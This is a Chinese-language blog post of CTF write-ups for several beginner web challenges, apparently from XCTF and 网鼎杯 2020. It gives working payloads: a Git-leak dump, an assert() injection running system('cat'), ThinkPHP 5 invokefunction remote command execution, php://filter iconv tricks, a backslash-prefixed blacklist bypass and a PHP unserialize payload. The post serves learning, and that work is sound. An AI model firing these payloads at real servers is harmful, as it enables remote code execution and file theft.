[做题记录]攻防世界_3(新手模式)

发布时间 2023-09-19 18:05:21作者: notbad3

一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了?。

mfw

进入环境:
image
点下上面的链接看看结果About:
image
里面有个Git,想到了Git泄露,直接看下.git文件有没有:
image
上GitHack:
python GitHack.py http://61.147.171.105:55455/.git/
image
访问一下,看有没有啥好东西:
flag.php里啥也没有,可惜:
image
看下index.php,里面有不少好东西,把有用的php部分拿出来:

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<?php
require_once $file;
?>

首先GET方式传page,不给page赋值的话自动等于home(就是我们进去看到的首页),然后进行一个拼接:templates/\(page.php,把这东西给\)file。assert这东西叫“断言检查”,意思是如果里面的条件是真,就会接着执行后面的函数require_once,这东西有点点像include包含,至于直接包含某个文件,不用伪协议啥的我一直把它理解成执行该文件,哈哈。
接下来的思路就是构造page让他执行一些命令比如'ls' 'cat'啥的。
接下来的payload参考了这位师傅的文章,感谢!:
https://blog.csdn.net/m0_62063669/article/details/125427751?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169364331616800186574360%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169364331616800186574360&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-125427751-null-null.142^v93^koosearch_v1&utm_term=mfw&spm=1018.2226.3001.4187
payloaad:
index.php/?page=flag','abc') === false and system("cat templates/flag.php") and strops('flag
解释下为什么要给page赋这么一个值,先看这个page让file成了个啥东西:
file = template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php
带到断言函数中:
assert("strpos('template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php', '..') === false") or die("Detected hacking attempt!");

strpos函数是看参数里有没有要检测的值,有的话返回第一次出现的位置,没有就返回false。明显 ‘template/flag’这里面没abc,第一个assert为真;第二个执行 cat templates/flag.php ,这没啥好说的,就是去拿我们要的flag,不过注意cat后的文件路径。我们当前在index.php下,index.php和templates同目录,flag.php又在templates下。所以相对路径就是templates/flag.php。最后一个断言是找flag.php中有没有俩点,没有返回false。因为是两个and连接,三个条件都为真即为真。然后直接require($file),执行命令。
flag藏在源码里:
image

php_rce

进入环境:
image
Github搜下有关这个ThinkPHPV5的相关漏洞,发现有一大堆远程命令执行的POC:
image
找个长的试试:
s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
执行了phpinfo()这个命令
image
ls看下当前目录下的文件:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
image
没有和flag有关的东西,等会用find找一下,不过这里有个和爬虫有关的robots.txt,让我看看你:
image
可惜啥也没有,find命令找下和flag有关的东西:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find /%20 -name "flag*"
find是全磁盘查找所以可能会比较慢:
image
草了,还是看看根目录下都啥东西吧:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
image
有个flag: ls /flag没啥有价值的东西,直接 cat /flag读一下:
image

题目名称-文件包含

进入环境,朴实无华的一小段php,直接filter伪协议读flag.php源码:
image
回显了dont hack!估计check.php起作用然后触发什么关键词了。。这时候想到之前做过的一道题:用了
convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
这种类型的过滤器,那就试试这个:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
image
过滤器对了但是用法不对,那可能是input-encoding和output-encoding不对。。需要一个一个找。。但这玩意可用的编码实在太多:

UCS-4*
    UCS-4BE
    UCS-4LE*
    UCS-2
    UCS-2BE
    UCS-2LE
    UTF-32*
    UTF-32BE*
    UTF-32LE*
    UTF-16*
    UTF-16BE*
    UTF-16LE*
    UTF-7
    UTF7-IMAP
    UTF-8*
    ASCII*
    EUC-JP*
    SJIS*
    eucJP-win*
    SJIS-win*
    ISO-2022-JP
    ISO-2022-JP-MS
    CP932
    CP51932
    SJIS-mac(别名:MacJapanese)
    SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
    SJIS-Mobile#KDDI(别名:SJIS-KDDI)
    SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
    UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
    UTF-8-Mobile#KDDI-A
    UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
    UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
    ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
    JIS
    JIS-ms
    CP50220
    CP50220raw
    CP50221
    CP50222
    ISO-8859-1*
    ISO-8859-2*
    ISO-8859-3*
    ISO-8859-4*
    ISO-8859-5*
    ISO-8859-6*
    ISO-8859-7*
    ISO-8859-8*
    ISO-8859-9*
    ISO-8859-10*
    ISO-8859-13*
    ISO-8859-14*
    ISO-8859-15*
    ISO-8859-16*
    byte2be
    byte2le
    byte4be
    byte4le
    BASE64
    HTML-ENTITIES(别名:HTML)
    7bit
    8bit
    EUC-CN*
    CP936
    GB18030
    HZ
    EUC-TW*
    CP950
    BIG-5*
    EUC-KR*
    UHC(别名:CP949)
    ISO-2022-KR
    Windows-1251(别名:CP1251)
    Windows-1252(别名:CP1252)
    CP866(别名:IBM866)
    KOI8-R*
    KOI8-U*
    ArmSCII-8(别名:ArmSCII8

直接去翻了wp。。感谢这位师傅:
https://blog.csdn.net/gsumall04/article/details/131807065?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169373375216800222871982%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169373375216800222871982&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-131807065-null-null.142^v93^koosearch_v1&utm_term=%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&spm=1018.2226.3001.4187
我是懒狗就不一个一个加了。。也不知道有没有编码的字典,能方便不少。我放了4种熟悉下步骤:burpsuite的intruder模块爆一下,选择集束炸弹模式:
image
根据长度排列一下:
image
拿到flag:
image
最后说下为什么要去读flag.php而不是别的:一是很多flag都在这个文件里,二是直接访问flag.php时它并没给我们报错:
image
image



    1xx(信息性状态码):表示请求已被接收,继续处理。
        100 Continue:服务器已接收到请求的初始部分,客户端应继续发送剩余部分。
        101 Switching Protocols:服务器已理解并接受客户端的请求,将切换到新的协议。

    2xx(成功状态码):表示请求已成功被服务器接收、理解和处理。
        200 OK:请求成功,服务器返回请求的内容。
        201 Created:请求成功,服务器创建了新资源。
        204 No Content:请求成功,服务器处理成功,但没有返回任何内容。

    3xx(重定向状态码):表示需要进一步操作以完成请求。
        301 Moved Permanently:请求的资源已永久移动到新位置。
        302 Found:请求的资源临时移动到新位置。
        304 Not Modified:资源未修改,客户端可以使用缓存的版本。

    4xx(客户端错误状态码):表示客户端发送的请求有错误。
        400 Bad Request:请求无效,服务器无法理解。
        401 Unauthorized:请求要求身份验证。
        404 Not Found:请求的资源不存在。

    5xx(服务器错误状态码):表示服务器在处理请求时发生错误。
        500 Internal Server Error:服务器遇到了意外错误。
        502 Bad Gateway:服务器作为网关或代理,从上游服务器接收到无效响应。
        503 Service Unavailable:服务器当前无法处理请求,通常由于过载或维护。

[网鼎杯 2020 朱雀组]phpweb

进入环境:
image
没啥特别的。。不过这页面没过几秒就会刷新一下,出现下面这种东西:
image
他说某个和data有关的函数设置有问题?右键看下源码有啥东西:
image
burpsuite抓下包看看:
image
下面有个这个东西:
func=date&p=Y-m-d+h%3Ai%3As+a
前面是个函数?后面是他的参数?看着像命令执行,改成system('ls')看看效果:
func=system&p=ls
image
回显了hacker。。估计是太直白了,system/eval都会回显Hacker。include/require函数读下index.php的源码?
func=include&p=php://filter/read=convert.base64-encode/resource=index.php
image
提示call_user_func()函数找不到第一个参数include/require或这是一个无效的函数名?怎么会找不到include()函数呢?问了下GPT发现call_back_func不是所有函数都能执行,它是调用一个回调函数或方法。而且并不是所有函数都是回调函数,判断一个函数能否回调可以用is_callable函数,比如:

<?php


$callback = 'include';

if (is_callable($callback)) {
    echo '可以回调';
} else {
    echo '不可回调';
}
//结果:不可回调
?>

不得不说CHATGPT这东西确实好用,我问他call_back_func(include,php://filter/read=convert.base64-encode/resource=index.php)为什么不行时他不光给了不可用的理由,还建议我用file_get_contents()函数去读文件:
image
差点把这东西忘了,既然它可以回调就file_get_contents(index.php)读下Index.php:
func=file_get_contents&p=index.php
image

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//黑名单,禁用了很多函数
    function gettime($func, $p) {
        $result = call_user_func($func, $p); //调用call_user_func函数,注意该函数只能调用可以回调的函数
        $a= gettype($result); //$result是什么类型?
        if ($a == "string") { //如果是字符串
            return $result;
        } else {return "";} //如果是其它
    }
    class Test {
        var $p = "Y-m-d h:i:s a";//旧式的用于声明类属性(成员变量)的关键字,新版本的PHP多用 public等
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];//获取通过 GET、POST 和 COOKIE 方法传递的参数
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

尝试用相对路径读有没有flag.php这东西。。没试出来。。就去网上找了下wp。感觉已经很接近结果了有点不甘心?感谢这位师傅的文章:
https://blog.csdn.net/qq_58784379/article/details/120877859
第一种方法:
在PHP中的函数前面加个\并不印象函数运行(php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单)。拿前面那个is_callable函数举个例子:

<?php


$callback = 'include';

if (\is_callable($callback)) {
    echo '可以回调';
} else {
    echo '不可回调';
}
//结果仍是不可回调
?>

问了下GPT,这个\是一种命名空间限定符,用于告诉 PHP 解释器要使用全局命名空间中的函数,而不是当前命名空间中的函数。如果没有使用命名空间或没有同名函数存在于全局命名空间中,添加反斜杠将没有实际影响。
func=\system&p=find / -name "flag*"//跟以前做的题一样,只要用find找东西就是全磁盘查找,会很慢
回显:
image
image
读最底下这个/tmp/flagoefiu4r93
func=file_get_contents&p=/tmp/flagoefiu4r93
或者func=\system&p=cat /tmp/flagoefiu4r93
得flag
第二种方法用了反序列化:

class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p); //命令执行
            }
        }
//这东西没被用过,因为Test类里包含一个__destruct函数,这函数在对象被销毁时会被调用,

我们想执行system('ls')而且要绕过对func的黑名单检测,可以先序列化要执行的命令,然后利用get函数反序列化要执行的命令,反序列化后要销毁变量时会调用__destruct函数,这个函数定义了func(要执行的命令)和p(要执行命令的参数),然后再调用一次gettime函数(又执行了一次命令)。一来一回执行了两次gettime。
先序列化我们要执行的命令和参数:

<?php


class Test {
       var $p = "ls";
       var $func = "system";
       
}

$a = new Test();
	
$b = serialize($a);

echo $b;

?>

//结果:O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}// 看当前目录下有什么文件
image
OK,没啥问题,因为根据第一种做法已经知道了flag藏在哪,直接去找/tmp/flagoefiu4r93把我们的命令序列化一下:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
结果:
image